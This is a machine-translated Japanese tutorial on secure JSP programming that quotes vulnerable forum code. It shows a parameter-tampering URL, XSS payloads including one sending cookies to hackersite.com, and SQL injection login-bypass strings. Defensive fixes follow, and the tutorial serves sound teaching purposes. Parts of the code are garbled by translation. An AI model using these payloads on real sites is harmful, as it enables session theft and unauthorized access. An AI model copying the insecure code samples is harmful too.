Java Server Page (JSP) は、動的な Web ページを作成するテクノロジとしてますます人気が高まっています。 JSP、ASP、および PHP には、異なる動作メカニズムがあります。一般に、JSP ページは実行時に解釈されるのではなくコンパイルされます。 JSP ファイルへの最初の呼び出しは、実際にはそれをサーブレットにコンパイルするプロセスです。ブラウザがこの JSP ファイルをサーバーに要求すると、サーバーは JSP ファイルが前回のコンパイル以降に変更されているかどうかを確認し、変更がない場合は再コンパイルせずに直接実行されます。これにより、効率が大幅に向上します。改善されました。
今日は、スクリプト プログラミングの観点から JSP のセキュリティについて説明します。ソース コードの漏洩などのセキュリティ リスクは、この記事の範囲外です。この記事を書く主な目的は、JSP プログラミングを初めて行う友人に、最初から安全なプログラミングに対する意識を養い、やってはいけない間違いを犯さないようにし、避けられる損失を避けるように注意することです。また、私も初心者ですので、間違いやご意見がありましたら、投稿してお知らせください。
1. 緩い認証 - 低レベルの間違い
Yiyang Forum v1.12 の改訂版では、
user_manager.jsp はユーザー管理のページであるため、作成者はその機密性を認識しており、ロックを追加しています。
if ((session.getValue( "UserName") )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("システム管理者")))
{
response.sendRedirect("err.jsp?id=14");
戻る;
ユーザーの情報を表示および変更する場合は、modifyuser_manager.jsp ファイルを使用する必要があります
。
管理者によって送信されました
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
ID 51 (管理者のデフォルトのユーザー ID は 51) のユーザーの情報を参照および変更します。ただし、このような重要な文書には認証がありません。一般のユーザー (観光客を含む) は、上記のリクエストを直接送信して明確に見ることができます (パスワードも平文で保存および表示されます)。また、modifyuser_manage.jsp も開いています。悪意のあるユーザーがデータ更新操作を完了して user_manager.jsp にリダイレクトするまで、遅れてエラーが表示されるページが表示されます。明らかに、ドアをロックするだけでは不十分です。プログラミング時には、ID 認証を追加する必要があるすべての場所に ID 認証を追加する必要があります。
2. JavaBean の入り口を維持する
JSP コンポーネント技術の中核は、Bean と呼ばれる Java コンポーネントです。プログラムでは、ロジック制御とデータベース操作を Javabeans コンポーネントに配置し、JSP ファイルで呼び出すことができます。これにより、プログラムの明確性とプログラムの再利用性が向上します。従来の ASP または PHP ページと比較して、JSP ページは、多くの動的ページ処理プロセスを JavaBeans にカプセル化できるため、非常に単純です。
JavaBean プロパティを変更するには、「<jsp:setProperty>」タグを使用します。
次のコードは、架空の電子ショッピング システムのソース コードの一部です。このファイルはユーザーのショッピング ボックスに情報を表示するために使用され、チェックアウトには checkout.jsp が使用されます。
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>あなたのバスケット</title></head>
<本文>
<p>
アイテムを追加しました
<jsp::getProperty name="myBasket" property="newItem"/>
あなたのバスケットに。
<br/>
合計は $ です
<jsp::getProperty name="myBasket" property="balance"/>
<a href="checkout.jsp">チェックアウト</a>へ進みます
property="*" に気づきましたか?これは、表示されている JSP ページにユーザーが入力したすべての変数の値、またはクエリ文字列を通じて直接送信されたすべての変数の値が、一致する Bean プロパティに保存されることを示します。
通常、ユーザーは次のようなリクエストを送信します:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
しかし、手に負えないユーザーの場合はどうでしょうか?
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
を送信できます。
このようにして、JavaBeanには、balance=0の情報が格納される。 「チェックアウト」をクリックしてチェックアウトすると、手数料が免除されます。
これは、PHP のグローバル変数によって引き起こされるセキュリティ問題とまったく同じです。このことから、「property="*"」は注意して使用する必要があることがわかります。
3. 長期にわたるクロスサイト スクリプティング
クロスサイト スクリプティング (クロス サイト スクリプティング) 攻撃とは、リモート Web ページの HTML コードに悪意のある JavaScript、VBScript、ActiveX、HTML、または Flash スクリプトを手動で挿入して、Web ページの閲覧を盗むことを指します。ユーザーのプライバシー、ユーザー設定の変更、ユーザー データの破棄を行います。クロスサイト スクリプティング攻撃は、ほとんどの場合、サーバーや WEB プログラムの動作には影響しませんが、クライアントのセキュリティに重大な脅威をもたらします。
最も単純な例として、Fangdong.com の Acai フォーラム (ベータ 1) を取り上げます。
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>
を送信すると
、独自の Cookie 情報を含むダイアログ ボックスがポップアップ表示されます。
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
を送信し
て NetEase にリダイレクトします。
スクリプトは、「name」変数の値をクライアントに返すときに悪意のあるコードのエンコードやフィルタリングを実行しないため、ユーザーが悪意のある「name」変数を埋め込んだデータリンクにアクセスすると、スクリプトコードがクライアント上で実行されます。ユーザーのブラウザに影響を与え、ユーザーのプライバシー漏洩などの結果を引き起こす可能性があります。たとえば、次のリンク:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxxは以下のパラメータを収集するために使用され、ここでのパラメータはこのリンクにアクセスするユーザーのCookieであるdocument.cookieを指定します。 ASP の世界では、多くの人が Cookie を盗むテクニックを習得しています。 JSP では、Cookie を読み取ることは難しくありません。もちろん、クロスサイト スクリプティングは Cookie を盗む機能に限定されるものではありません。皆さんもある程度は理解していると思いますので、ここでは詳しく説明しません。
クロスサイト スクリプティング攻撃を大幅に回避するには、動的ページのすべての入出力をエンコードする必要があります。残念ながら、信頼できないデータをすべてエンコードするとリソースが大量に消費され、Web サーバーのパフォーマンスに影響を与える可能性があります。一般的な方法は、入力データをフィルタリングすることです。たとえば、次のコードは危険な文字を置き換えます
。
メッセージ = message.replace ('<','_');
メッセージ = メッセージ.replace ('>','_');
メッセージ = メッセージ.replace ('"','_');
メッセージ = メッセージ.replace (''','_');
message = message.replace ('%','_'); [転載元:51item.net]
メッセージ = message.replace (';','_');
メッセージ = メッセージ.replace ('(','_');
メッセージ = message.replace (')','_');
メッセージ = メッセージ.replace ('&','_');
message = message.replace ('+','_'); %>
より積極的な方法は、正規表現を使用して、指定された文字の入力のみを許可することです:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) は true を返します。
それ以外の場合は false を返します。
4.
常に SQL インジェクションを念頭に置いてください。
一般的なプログラミングの本では、初心者に安全なプログラミングの習慣を身につけさせることには注意が払われません。有名な「JSP Programming Thoughts and Practices」では、データベース (データベースは MySQL) を使用したログイン システムの作成方法を初心者向けに説明しています
。
String checkUser = "select * from login where username = '" + userName + "' and userpassword = '" + userPassword + "'";
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
それ以外
response.sendRedirect("FailureLogin.jsp");
これにより、この本を信じる人々は、そのような本質的に「穴の開いた」ログイン コードを長期間使用することができます。データベースに「jack」という名前のユーザーが存在する場合、パスワードを知らなくてもログインする方法は少なくとも次のとおりです。
ユーザー名: jack
パスワード: ' または 'a'='a
ユーザー名: ジャック
パスワード: ' または 1=1/*
ユーザー名: jack' または 1=1/*
パスワード:(任意)
lybbs (Lingyun Forum) ver 2.9.Server は、LogInOut.java でログインのために送信されたデータを次のようにチェックします。
if(s.equals("") ││ s1.equals(""))
throw new UserException("ユーザー名またはパスワードを空にすることはできません。");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 │| s.indexOf(",") != -1 │| s.indexOf(" \") != -1)
throw new UserException("ユーザー名には ' " \ などの不正な文字を含めることはできません");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 │| s1.indexOf("*") != -1 │| s1.indexOf(" \") != -1)
throw new UserException("パスワードには ' " \ * などの不正な文字を含めることはできません。");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("ユーザー名またはパスワードにスペースは使用できません。");
しかし、なぜユーザー名ではなくパスワードのアスタリスクのみをフィルターするのかわかりません。さらに、スラッシュも「ブラックリスト」に含める必要があるようです。私は、正規表現を使用して、指定された範囲内の文字のみを許可する方が簡単だと今でも思っています。
ここで注意していただきたいのは、一部のデータベース システムに固有の「セキュリティ」がすべての攻撃に効果的に対抗できるとは考えないでください。 Pinkeyes の記事「PHP Injection Example」は、PHP 構成ファイルの「magic_quotes_gpc = On」に依存している人に教訓を与えています。
5. String オブジェクトによってもたらされる隠れた危険
Java プラットフォームは確かにセキュリティ プログラミングをより便利にしました。 Java にはポインタがありません。つまり、Java プログラムは C のようなアドレス空間内のメモリ位置をアドレス指定できなくなります。たとえば、配列サイズを超える配列要素へのアクセスの試みは拒否され、バッファ オーバーフロー攻撃を大幅に回避します。ただし、String オブジェクトにはセキュリティ上のリスクが伴います。パスワードが Java String オブジェクトに格納されている場合、パスワードはガベージ コレクションされるかプロセスが終了するまでメモリ内に残ります。ガベージ コレクションの後でも、メモリ領域が再利用されるまで、空きメモリ ヒープに残ります。パスワード文字列がメモリ内に長く存在するほど、盗聴のリスクが高くなります。さらに悪いことに、実際のメモリが減少すると、オペレーティング システムはこのパスワード文字列をディスクのスワップ スペースにページングするため、ディスク ブロック盗聴攻撃に対して脆弱になります。このような侵害の可能性を最小限に抑える (排除するわけではない) には、パスワードを char 配列に保存し、使用後にゼロにする必要があります (文字列は不変であり、ゼロにすることはできません)。
6. スレッドセーフに関する予備調査
「JAVA にできること、JSP にできること」。 ASP や PHP などのスクリプト言語とは異なり、JSP はデフォルトでマルチスレッド方式で実行されます。マルチスレッド方式で実行すると、システム上のリソース要件が大幅に削減され、システムの同時実行性と応答時間が向上します。スレッドはプログラム内の独立した同時実行パスです。各スレッドには独自のスタック、独自のプログラム カウンター、および独自のローカル変数があります。マルチスレッド アプリケーションのほとんどの操作は並列実行できますが、グローバル フラグの更新や共有ファイルの処理など、並列実行できない操作もあります。スレッドの同期がうまく行われていない場合、悪意のあるユーザーの「熱心な参加」がない場合に大量の同時アクセスが発生した場合にも問題が発生します。最も簡単な解決策は、関連する JSP ファイルに <%@ page isThreadSafe="false" %> 命令を追加して、シングルスレッド方式で実行するようにすることです。このとき、すべてのクライアント要求はシリアル方式で実行されます。これにより、システムのパフォーマンスが大幅に低下する可能性があります。 JSP ファイルをマルチスレッドで実行し、関数をロックすることでスレッドを同期させることもできます。関数と synchronized キーワードを組み合わせると、ロックが取得されます。次の例を見てください:
public class MyClass{
int a;
public Init() {//このメソッドは複数のスレッドから同時に呼び出すことができます。 a = 0;
}
public synchronized void Set() {//2 つのスレッドがこのメソッドを同時に呼び出すことはできません if(a>5) {
a= a-5;
}
}
ただし、
これはシステムのパフォーマンスに一定の影響を及ぼします。より良い解決策は、インスタンス変数の代わりにローカル変数を使用することです。インスタンス変数はヒープ内に割り当てられ、インスタンスに属するすべてのスレッドによって共有されるため、スレッドセーフではありませんが、ローカル変数は、各スレッドに独自のスタック領域があるため、スタック内に割り当てられるため、スレッドセーフになります。 。たとえば、凌雲フォーラムに友達を追加するコードは次のとおりです:
public void addFriend(int i, String s, String s1)
DBConnectException をスローします
{
試す
{
もし……
それ以外
{
DBConnect dbconnect = new DBConnect("フレンド (著者 ID,フレンド名) の値 (?,?) に挿入");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = null;
}
}
catch(例外例外)
{
throw new DBConnectException(例外.getMessage());
}
以下
は呼び出しです:
friendsName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
、
インスタンス変数はインスタンスのすべてのスレッドで共有されます。ユーザー A が特定のパラメーターを渡した後、スレッドがスリープ状態になり、そのパラメーターがユーザー B によって誤って変更される可能性があります。友達の不一致現象を引き起こします。